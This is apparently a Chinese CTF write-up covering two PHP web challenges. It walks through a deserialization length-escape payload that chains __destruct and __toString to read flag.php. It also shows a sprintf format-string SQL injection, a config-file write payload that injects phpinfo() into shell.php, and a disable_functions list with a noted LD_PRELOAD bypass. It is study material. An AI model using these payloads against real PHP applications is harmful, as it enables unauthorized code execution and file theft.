Web1

反序列化长度逃逸一般就是过滤的时机不对,在序列化之后再过滤很容易出现问题

https://www.php.cn/php-weizijiaocheng-437066.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
echo read(write(serialize($a)));
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
echo '<br>'.$b->password;

?>

\0\0\0chr(0).'*'.chr(0)互相转换时会导致长度问题,因为\0\0\0长度是6,chr(0).'*'.chr(0)长度是3

1
2
3
$a='\0\0\0';
var_dump(strlen($a));
输出:int(6)

POC链构造

C中存在 __toString()方法,其中调用了file_get_contents(),B类中的析构函数中存在echo $c,所以思路就是把B类中的$b赋值成C类对象,C类对象中的$c赋值成flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class A{
public $username;
public $password;
}
class B{
public $b;
}
class C{
public $c='flag.php';
}

$a=new A();
$b=new B();
$c=new C();

$b->b=$c;
$a->password=$b;
var_dump(serialize($a));
// string(99) "O:1:"A":2:{s:8:"username";N;s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}"

password的值为";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

1
2
3
$a->password='";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
var_dump(serialize($a));
// string(124) "O:1:"A":2:{s:8:"username";N;s:8:"password";s:72:"";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}"

我们要逃逸的字符为:";s:8:"password";s:72:"一共23个字符,但是替换为chr(0) . '*' . chr(0)一次逃逸3个字符,所以要是三的倍数。。所以passwordA";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

最终的payload为:

1
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}

反序列化时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$a=new A('\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}');
var_dump(serialize($a));

// string(178) "O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}";}"

var_dump(read(serialize($a))); //经过过滤
// string(154) "O:1:"A":2:{s:8:"username";s:48:"\000*\000\000*\000\000*\000\000*\000\000*\000\000*\000\000*\000\000*\000";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}";}"
这里的\000其实就代表了chr(0),长度是1
var_dump(chr(0) . '*' . chr(0)); // string(3) "\000*\000"
var_dump(strlen(chr(0) . '*' . chr(0))); // int(3) 可见\000长度是1

所以:
O:1:"A":2:{
s:8:"username";
s:48:"长度24";s:8:"password";s:72:"A";
|<----------len = 48-------->|
s:8:"password";
O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}";}


Web2

img

参考文章
SQL注入可以和格式化字符串一起使用

例如:

1
2
3
4
5
6
7
8
9
10
<?php

$input1 = '%1$c) OR 1 = 1 /*';
$input2 = 39;
$sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
// SELECT * FROM foo WHERE bar IN ('%1$c) OR 1 = 1 /*') AND baz = %s
$sql = sprintf($sql, $input2);
// SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*') AND baz = 39
echo $sql;
?>

image-20200429111622369

用admin密码登录后

img

是一个经典的配置文件写入问题漏洞.参考链接

payload:

1
a';phpinfo();//

然后再shell.php看到了phpinfo()的界面。。

disable_functions

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail

想到了题目给了一个so文件.

image-20200429120726177

可以发现是利用LD_PRELOAD来绕过禁止函数(在之前的文章有记录)